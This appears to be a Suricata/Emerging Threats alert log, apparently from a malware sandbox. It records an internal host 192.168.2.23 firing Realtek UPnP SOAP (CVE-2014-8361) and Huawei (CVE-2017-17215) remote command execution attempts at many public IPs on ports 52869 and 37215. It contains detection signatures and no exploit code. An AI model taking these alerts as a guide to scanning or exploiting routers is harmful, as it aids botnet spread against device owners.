Source Port:	59994
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 117.32.81.72

Timestamp:	07/20/24-23:02:08.246801
SID:	2027339
Source Port:	37326
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 75.68.195.20

Timestamp:	07/20/24-23:01:20.593003
SID:	2027339
Source Port:	33050
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 193.184.52.222

Timestamp:	07/20/24-23:01:42.718842
SID:	2025132
Source Port:	57316
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 24.151.6.155

Timestamp:	07/20/24-23:01:44.811941
SID:	2027339
Source Port:	52716
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.65.150.230

Timestamp:	07/20/24-23:01:34.055714
SID:	2829579
Source Port:	56810
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 64.98.234.97

Timestamp:	07/20/24-23:01:46.423677
SID:	2025132
Source Port:	58000
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 45.158.122.120

Timestamp:	07/20/24-23:01:02.281138
SID:	2027339
Source Port:	52414
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 47.97.62.221

Timestamp:	07/20/24-23:01:46.707648
SID:	2025132
Source Port:	47876
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.176.41.115

Timestamp:	07/20/24-23:01:00.639093
SID:	2835222
Source Port:	40708
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 91.130.242.221

Timestamp:	07/20/24-23:01:25.608031
SID:	2027339
Source Port:	43532
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 53.20.116.108

Timestamp:	07/20/24-23:01:42.536855
SID:	2831300
Source Port:	60226
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 2.53.137.120

Timestamp:	07/20/24-23:01:31.986571
SID:	2829579
Source Port:	33436
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 97.69.175.230

Timestamp:	07/20/24-23:01:02.437937
SID:	2027339
Source Port:	39280
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 37.189.124.248

Timestamp:	07/20/24-23:01:08.600680
SID:	2831300
Source Port:	60816
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.217.22.246

Timestamp:	07/20/24-23:01:00.639093
SID:	2829579
Source Port:	47118
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.222.79.156

Timestamp:	07/20/24-23:01:34.060991
SID:	2829579
Source Port:	43800
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 222.131.76.141

Timestamp:	07/20/24-23:01:41.286262
SID:	2025132
Source Port:	34938
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 153.209.101.198

Timestamp:	07/20/24-23:01:02.059312
SID:	2835222
Source Port:	52380
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 39.202.167.253

Timestamp:	07/20/24-23:02:27.457367
SID:	2027339
Source Port:	59562
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.77.213.179

Timestamp:	07/20/24-23:00:59.172943
SID:	2835222
Source Port:	34126
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 176.127.40.36

Timestamp:	07/20/24-23:01:42.093693
SID:	2027339
Source Port:	56640
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 41.175.245.11

Timestamp:	07/20/24-23:01:57.297792
SID:	2027339
Source Port:	50068
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.38.204.229

Timestamp:	07/20/24-23:01:40.311124
SID:	2835222
Source Port:	59782
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 206.12.145.11

Timestamp:	07/20/24-23:01:46.899168
SID:	2831300
Source Port:	36496
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 201.180.13.92

Timestamp:	07/20/24-23:01:45.603921
SID:	2025132
Source Port:	42704
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 81.110.138.235

Timestamp:	07/20/24-23:01:47.749865
SID:	2027339
Source Port:	33484
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 83.28.127.148

Timestamp:	07/20/24-23:01:58.035425
SID:	2027339
Source Port:	52626
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 170.225.184.185

Timestamp:	07/20/24-23:01:08.629615
SID:	2831300
Source Port:	59098
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.20.237.144

Timestamp:	07/20/24-23:01:20.169339
SID:	2835222
Source Port:	49434
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 41.87.239.136

Timestamp:	07/20/24-23:01:42.196522
SID:	2831300
Source Port:	33358
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 205.136.89.238

Timestamp:	07/20/24-23:01:43.405280
SID:	2831300
Source Port:	51008
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 115.121.114.198

Timestamp:	07/20/24-23:01:52.165240
SID:	2831300
Source Port:	33120
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.31.252.0

Timestamp:	07/20/24-23:01:02.113055
SID:	2835222
Source Port:	57074
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 212.5.145.192

Timestamp:	07/20/24-23:01:47.934101
SID:	2831300
Source Port:	34730
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 143.225.143.5

Timestamp:	07/20/24-23:01:43.917774
SID:	2027339
Source Port:	50784
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 37.133.189.92

Timestamp:	07/20/24-23:01:53.387026
SID:	2831300
Source Port:	34730
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 86.178.198.137

Timestamp:	07/20/24-23:02:08.090582
SID:	2027339
Source Port:	45838
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.188.106.107

Timestamp:	07/20/24-23:01:40.334934
SID:	2829579
Source Port:	57662
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 87.178.133.43

Timestamp:	07/20/24-23:01:20.597058
SID:	2027339
Source Port:	58228
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 63.196.31.124

Timestamp:	07/20/24-23:01:48.560945
SID:	2027339
Source Port:	49348
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 50.114.115.150

Timestamp:	07/20/24-23:01:12.834603
SID:	2027339
Source Port:	50948
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 46.141.217.184

Timestamp:	07/20/24-23:01:44.602822
SID:	2027339
Source Port:	33086
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 106.220.99.163

Timestamp:	07/20/24-23:01:25.689098
SID:	2025132
Source Port:	54750
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 91.202.203.164

Timestamp:	07/20/24-23:01:44.320661
SID:	2025132
Source Port:	53926
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 32.85.156.168

Timestamp:	07/20/24-23:01:31.312895
SID:	2831300
Source Port:	50844
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 9.210.224.238

Timestamp:	07/20/24-23:01:45.472422
SID:	2025132
Source Port:	51862
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.37.97.174

Timestamp:	07/20/24-23:01:40.334933
SID:	2835222
Source Port:	35134
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 160.206.110.41

Timestamp:	07/20/24-23:01:54.246583
SID:	2027339
Source Port:	44988
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 139.2.152.124

Timestamp:	07/20/24-23:01:44.295391
SID:	2831300
Source Port:	48558
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 37.169.126.92

Timestamp:	07/20/24-23:01:42.608320
SID:	2831300
Source Port:	49086
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 59.51.41.229

Timestamp:	07/20/24-23:02:05.547419
SID:	2027339
Source Port:	39674
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 108.55.210.200

Timestamp:	07/20/24-23:02:14.779973
SID:	2025132
Source Port:	54124
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 34.173.234.248

Timestamp:	07/20/24-23:01:48.317366
SID:	2027339
Source Port:	51816
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 66.96.161.223

Timestamp:	07/20/24-23:01:44.252201
SID:	2027339
Source Port:	34886
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 48.111.4.84

Timestamp:	07/20/24-23:01:31.312611
SID:	2831300
Source Port:	49188
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.7.45.224

Timestamp:	07/20/24-23:01:34.046616
SID:	2835222
Source Port:	41740
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.42.191.226

Timestamp:	07/20/24-23:01:20.156820
SID:	2835222
Source Port:	36896
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.78.231.116

Timestamp:	07/20/24-23:01:24.916250
SID:	2835222
Source Port:	59644
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 129.173.36.90

Timestamp:	07/20/24-23:01:51.060408
SID:	2027339
Source Port:	34238
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 51.20.137.216

Timestamp:	07/20/24-23:01:13.589327
SID:	2027339
Source Port:	43516
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 46.176.142.26

Timestamp:	07/20/24-23:01:08.638879
SID:	2831300
Source Port:	51800
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.226.178.202

Timestamp:	07/20/24-23:01:21.954501
SID:	2829579
Source Port:	43212
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 179.142.123.85

Timestamp:	07/20/24-23:01:31.327540
SID:	2831300
Source Port:	57014
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 208.98.159.35

Timestamp:	07/20/24-23:01:49.721561
SID:	2027339
Source Port:	39272
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 189.225.243.103

Timestamp:	07/20/24-23:01:52.878047
SID:	2831300
Source Port:	43212
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 221.195.248.226

Timestamp:	07/20/24-23:01:42.530468
SID:	2831300
Source Port:	59786
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.211.128.165

Timestamp:	07/20/24-23:00:59.148144
SID:	2835222
Source Port:	47490
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 206.228.241.87

Timestamp:	07/20/24-23:01:27.651332
SID:	2835222
Source Port:	49900
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 209.25.89.22

Timestamp:	07/20/24-23:01:27.660099
SID:	2829579
Source Port:	52316
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.57.185.177

Timestamp:	07/20/24-23:01:04.053605
SID:	2835222
Source Port:	38846
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 82.187.47.45

Timestamp:	07/20/24-23:01:46.525128
SID:	2027339
Source Port:	45820
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 131.14.182.74

Timestamp:	07/20/24-23:01:58.755147
SID:	2831300
Source Port:	51278
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 57.137.225.59

Timestamp:	07/20/24-23:01:12.807102
SID:	2027339
Source Port:	54648
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 76.71.172.39

Timestamp:	07/20/24-23:01:52.992845
SID:	2025132
Source Port:	48958
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 206.46.247.134

Timestamp:	07/20/24-23:01:50.955471
SID:	2025132
Source Port:	46232
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 207.112.16.238

Timestamp:	07/20/24-23:01:08.619597
SID:	2831300
Source Port:	40584
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.177.151.139

Timestamp:	07/20/24-23:01:40.334934
SID:	2829579
Source Port:	41534
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 24.80.173.172

Timestamp:	07/20/24-23:01:49.553791
SID:	2027339
Source Port:	33484
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.72.210.161

Timestamp:	07/20/24-23:01:02.059312
SID:	2829579
Source Port:	44342
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 133.159.36.252

Timestamp:	07/20/24-23:01:45.179680
SID:	2025132
Source Port:	59814
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 155.161.7.211

Timestamp:	07/20/24-23:01:44.837054
SID:	2025132
Source Port:	56282
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 113.102.84.222

Timestamp:	07/20/24-23:02:04.208558
SID:	2831300
Source Port:	55192
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.39.168.222

Timestamp:	07/20/24-23:01:00.648489
SID:	2829579
Source Port:	56996
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 67.40.156.6

Timestamp:	07/20/24-23:02:12.082957
SID:	2025132
Source Port:	33200
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 75.207.187.133

Timestamp:	07/20/24-23:01:08.572556
SID:	2027339
Source Port:	33738
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 174.56.72.194

Timestamp:	07/20/24-23:01:08.700029
SID:	2831300
Source Port:	44644
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 204.114.85.200

Timestamp:	07/20/24-23:01:42.479337
SID:	2027339
Source Port:	43420
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 202.8.238.183

Timestamp:	07/20/24-23:01:42.928503
SID:	2025132
Source Port:	35990
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 14.190.237.146

Timestamp:	07/20/24-23:01:55.572517
SID:	2027339
Source Port:	43378
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.203.224.247

Timestamp:	07/20/24-23:01:00.639011
SID:	2829579
Source Port:	50384
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 173.172.122.41

Timestamp:	07/20/24-23:01:52.609463
SID:	2831300
Source Port:	57762
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 143.197.81.99

Timestamp:	07/20/24-23:01:10.406934
SID:	2829579
Source Port:	55706
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.84.101.199

Timestamp:	07/20/24-23:01:11.818842
SID:	2835222
Source Port:	35052
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.212.32.19

Timestamp:	07/20/24-23:01:27.729822
SID:	2835222
Source Port:	47494
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.170.128.9

Timestamp:	07/20/24-23:00:57.221583
SID:	2835222
Source Port:	44458
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 171.231.69.230

Timestamp:	07/20/24-23:01:34.044717
SID:	2835222
Source Port:	51614
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 101.157.175.20

Timestamp:	07/20/24-23:01:48.016319
SID:	2831300
Source Port:	41614
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 25.0.169.170

Timestamp:	07/20/24-23:01:08.639622
SID:	2027339
Source Port:	57320
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 73.50.29.53

Timestamp:	07/20/24-23:01:45.625081
SID:	2025132
Source Port:	59666
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

